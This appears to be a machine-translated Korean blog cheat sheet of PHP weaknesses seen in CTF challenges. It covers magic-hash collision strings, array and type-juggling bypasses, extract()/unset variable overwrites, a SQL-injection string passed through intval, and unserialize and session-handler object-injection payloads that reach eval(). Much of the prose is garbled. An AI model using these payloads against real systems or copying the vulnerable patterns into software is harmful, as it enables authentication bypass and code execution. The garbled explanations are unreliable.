1.MD5 compare 취약성
PHP는 해시 문자열을 처리할 때 활용됩니다."!=" 또는 "=="로 해시 값을 비교합니다. 각각 "0E"로 시작하는 해시 값을 0으로 해석합니다. 따라서 두 개의 서로 다른 암호가 해시 값을 지나 "0E"로 시작하는 경우 PHP는 동일한 값을 0으로 간주합니다.
흔한 페이로드가 있어요
0x01 md5(str)
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
sha1(str)
sha1('aaroZmOk')
sha1('aaK1STfY')
sha1('aaO8zKZF')
sha1('aa3OFF9m')
0x02 md5(md5(str)."SALT")
2
또한 MD5는 배열을 처리할 수 없으며, 다음과 같은 판단이 있을 경우 배열을 우회할 수 있습니다.
if(@md5($_GET['a']) == @md5($_GET['b']))
{
echo "yes";
}
//http://127.0.0.1/1.php?a[]=1&b[]=2
2.ereg 함수 취약성:00절단
ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE
문자열 비교 분석
여기서 $_$이면GET['password'] 배열의 경우 NULL 값을 반환합니다.
만약123 || asd || 12as || 123%00&&&**,값을 true로 되돌립니다
나머지는 false
3.변수 자체의 키
변수 제출하면 많은 분들이GET/POST/COOKIE 등 제출된 변수의 값을 보았는데, 변수 자체의 key도 변수로 함수에 추출하여 처리하는 프로그램이 있다는 것을 잊어버렸다
<?php
//key.php?aaaa'aaa=1&bb'b=2
//print_R($_GET);
foreach ($_GET AS $key => $value)
{
print $key."\n";
}
?>
4.변수 오버레이
extract() 이 함수는 EXTR_OVERWRITE 인자를 지정하거나 함수를 지정하지 않으면 변수를 덮어쓸 수 있습니다
<?php
$auth = '0';
// 여기서 $auth의 변수 값을 덮어쓸 수 있습니다
extract($_GET);
if($auth == 1){
echo "private!";
} else{
echo "public!";
}
?>
<?php
$a='hi';
foreach($_GET as $key => $value) {
echo $key;
$$key = $value;
}
print $a;
?>
5.strcmp
str1이 str2보다 작으면 < 0을( 를) 되돌려줍니다. str1이 str2보다 크면 > 0을, 같으면 0을 되돌려줍니다.
5.2 두 파라미터를 먼저 string 타입으로 변환한다.
5.3.3 이후 배열과 문자열을 비교할 때 0이 된다.
5.5에서 파라미터가 string 타입이 아닌 경우 return 됩니다.
<?php
$password=$_GET['password'];
if (strcmp('xd',$password)) {
echo 'NO!';
} else{
echo 'YES!';
}
?>
6.sha1과 md5 함수
md5와 sha1을 처리할 수 없음그룹, NULL 반환
if (@sha1([]) == false)
echo 1;
if (@md5([]) == false)
echo 2;
echo var_dump(@sha1([]));
7.is_numeric
PHP는 is_nume를 제공합니다rric 함수, 변수가 숫자인지 아닌지를 판단하는 데 사용됩니다.그러나 함수의 범위는 십진법 숫자뿐만 아니라 비교적 넓다
<?php
echo is_numeric(233333); # 1
echo is_numeric('233333'); # 1
echo is_numeric(0x233333); # 1
echo is_numeric('0x233333'); # 1
echo is_numeric('233333abc'); # 0
?>
8.preg_match
정규 표현식과 일치하는 경우문자열의 시작과 끝을 제한하지 않으면 (^와 $) 우회할 수 있습니다
<?php
$ip = '1.1.1.1 abcd'; // 우회할 수 있다
if(!preg_match("/(\d+)\.(\d+)\.(\d+)\.(\d+)/",$ip)) {
die('error');
} else {
echo('key...');
}
?>
9.parse_str
parse_str와() mb_parse_str()과 유사한 함수들도 있습니다. parse_str은 문자열을 여러 변수로 해석합니다. 만약 매개 변수str이 URL로 전달된 쿼리 문자열(query string)이면, 변수를 해석하여 현재 영역으로 설정합니다.
//var.php?var=new
$var='init';
parse_str($_SERVER['QUERY_STRING']);
print $var;
10.문자열 비교
== 약한 타입의 비입니다비교, 다음 비교는 true
<?php
echo 0 == 'a' ;// a 숫자로 변환0 중점적으로 주의하다
// 0x 16진수 54975581388의 16진수로 시작합니다 0xccccccccc
// 16진수와 정수, 동일한 진수비로 변환
'0xccccccccc' == '54975581388' ;
// 문자열은 숫자와 비교하기 전에 자동으로 숫자로 변환되며, 숫자로 변환되지 않으면 변환됩니다0
1 == '1';
1 == '01';
10 == '1e1';
'100' == '1e2' ;
// 16진수와 공백이 있는 16진수는 16진수로 변환됩니다
'0xABCdef' == ' 0xABCdef';
echo '0010e2' == '1e3';
// 0e 시작은 숫자로 간주되고, 또 같다 0*10^xxx=0
// 만약md5 이0e 처음에는, 비교를 할 때, 이런 방법으로 우회할 수 있다
'0e509367213418206700842008763514' == '0e481036490867661113260034900752';
'0e481036490867661113260034900752' == '0' ;
var_dump(md5('240610708') == md5('QNKCDZO'));
var_dump(md5('aabg7XSs') == md5('aabC9RqS'));
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));
?>
11.unset
unset(bar); 지정된 변수를 파기하는 데 사용되며, 변수 bar가 요구 파라미터에 포함되면 일부 변수를 파기하여 프로그램 로직을 우회할 수 있습니다
<?php
// http://127.0.0.1/index.php?_CONFIG=123
$_CONFIG['extraSecure'] = true;
foreach(array('_GET','_POST') as $method) {
foreach($$method as $key=>$value) {
// $key == _CONFIG
// $$key == $_CONFIG
// 이 함수는 $_CONFIG 변수 파기
unset($$key);
}
}
if ($_CONFIG['extraSecure'] == false) {
echo 'flag {****}';
}
?>
12.intval()
int회전string:
$var = 5;
방식1:$item = (string)$var;
방식2:$item = strval($var);
int회전stringintval() 함수.:
var_dump(intval('2')) //2
var_dump(intval('3abcd')) //3
var_dump(intval('abcd')) //0
이용코드:
<?php
$a = '10000 union select * from yz';
if(intval($a)>1000)
echo $a ;
?>
13.switch()
만약 switch가 디지털 타입의 case라고 판단되면 switch는 그 안의 파라미터를 int 타입으로 변환한다.다음과 같다
<?php
$i ="2abc";
switch ($i) {
case 0:
case 1:
case 2:
echo "i is less than 3 but not negative";
break;
case 3:
echo "i is 3";
}
?>
이때 프로그램이 출력하는 것은i is less than 3 but not negative,switch() 함수가 $i를 형식 변환했기 때문에 변환 결과는 2입니다.
14.in_array()
$array=[0,1,2,'3'];
var_dump(in_array('abc', $array)); //true
var_dump(in_array('1bc', $array)); //true
위의 상황이 모두 true로 되돌아오는 것을 볼 수 있는데, 'abc'가 0으로, '1bc'가 1로 바뀌기 때문이다.
php가 int라고 생각하는 모든 곳에 string을 입력하면 강제로 변환됩니다
15.serialize와 unserialize 취약성
1.마술법
여기 저희가 간단하게 소개하겠습니다php의 마술 방법(여기서 클래스, 객체, 방법이 익숙하지 않은 경우 먼저 배우세요)을 소개합니다. 즉, php 클래스는 __construct, __destruct, __toString, _sleep, __wakeup 등의 기호로 시작하는 특수한 함수를 포함할 수 있습니다.이러한 함수는 모두 어떤 특수한 때에 자동으로 호출된다.
예를 들어 __construct() 메서드는 개체가 생성될 때 자동으로 호출되며 __destruct는 개체가 삭제될 때 호출됩니다.
여기에는 두 가지 더 특별한 Magic 메서드가 있습니다. __sleep 메서드는 객체가 직렬화될 때 호출됩니다. __wakeup 메서드가 오브젝트에 배치됩니다역직렬화 시 호출한다.
여기에서 일련화의 허점을 소개하는데, 우선 사용자가 입력하는 모든 것을 믿지 말아야 한다.
아래 코드를 보세요.
<?php
class test
{
public $username = '';
public $password = '';
public $file = '';
public function out(){
echo "username: ".$this->username."<br>"."password: ".$this->password ;
}
public function __toString() {
return file_get_contents($this->file);
}
}
$a = new test();
$a->file = 'C:\Users\YZ\Desktop\plan.txt';
echo serialize($a);
?>
//tostring메서드는 인스턴스를 출력할 때 실행됩니다. 인스턴스의 경로가 비밀 파일이면 읽을 수 있습니다.
C:\Users\YZ\Desktop\plan.txt 파일을 읽을 수 있습니다.
echo unserialize가 __tostring 함수를 트리거함
<?php
class test
{
public $username = '';
public $password = '';
public $file = '';
public function out(){
echo "username: ".$this->username."<br>"."password: ".$this->password ;
}
public function __toString() {
return file_get_contents($this->file);
}
}
$a = 'O:4:"test":3:{s:8:"username";s:0:"";s:8:"password";s:0:"";s:4:"file";s:28:"C:\Users\YZ\Desktop\plan.txt";}';
echo unserialize($a);
?>
16.session 역직렬화 취약성
주된 이유
ni_set(‘session.serialize_handler’, ‘php_serialize’);
ini_set(‘session.serialize_handler’, ‘php’);
양자는 session을 처리하는 방식이 다르다
다음 코드를 이용하여 session을 생성할 수 있다값
<?php
ini_set('session.serialize_handler', 'php_serialize');//a:1:{s:6:"spoock";s:3:"111";}
//ini_set('session.serialize_handler', 'php');//a|s:3:"111"
session_start();
$_SESSION["spoock"]=$_GET["a"];
?>
생성된 세션 값을 한번 볼까요
spoock|s:3:"111"; //session키 값 내용 직렬화}
a:1:{s:6:"spoock";s:3:"111";}a:1:{s:N:session키 값;내용 직렬화}}
在ini_set('session.serialize_handler', 'php');중에서는 |이전에 키 값 뒤에 있는 것으로 간주하여 직렬화한다
그러면 이 취약점을 악용해 악성코드를 실행할 수 있다
아래 예시를 보세요
1.php
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["spoock"]=$_GET["a"];
?>
2.php
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class lemon {
var $hi;
function __construct(){
$this->hi = 'phpinfo();';
}
function __destruct() {
eval($this->hi);//이곳은 위험해서 사용자가 입력한 파라미터를 실행할 수 있다
}
}
?>
1.PHP에 a-파라미터가 직렬화된 값을 입력한다.O:5:”lemon”:1:{s:2:”hi”;s:10:”phpinfo();”;}직렬화되다
a:1:{s:6:”spoock”;s:44:”|O:5:”lemon”:1:{s:2:”hi”;s:10:”phpinfo();”;}
2.PHP 안에서 켠다.
phpinfo( )를 실행할 수 있게 되었습니다.
'개발 꿀팁 > PHP' 카테고리의 다른 글
PHP 환경 수동 설치 튜토리얼 (0) | 2022.07.01 |
---|---|
vscode의 php 플러그인 및 설정 (0) | 2022.07.01 |
php 배열 개체 간 변환 (0) | 2022.07.01 |
centos에서 php5.3에서 php5.6으로 업그레이드 (0) | 2022.07.01 |
PHP 설치Xdebug (0) | 2022.07.01 |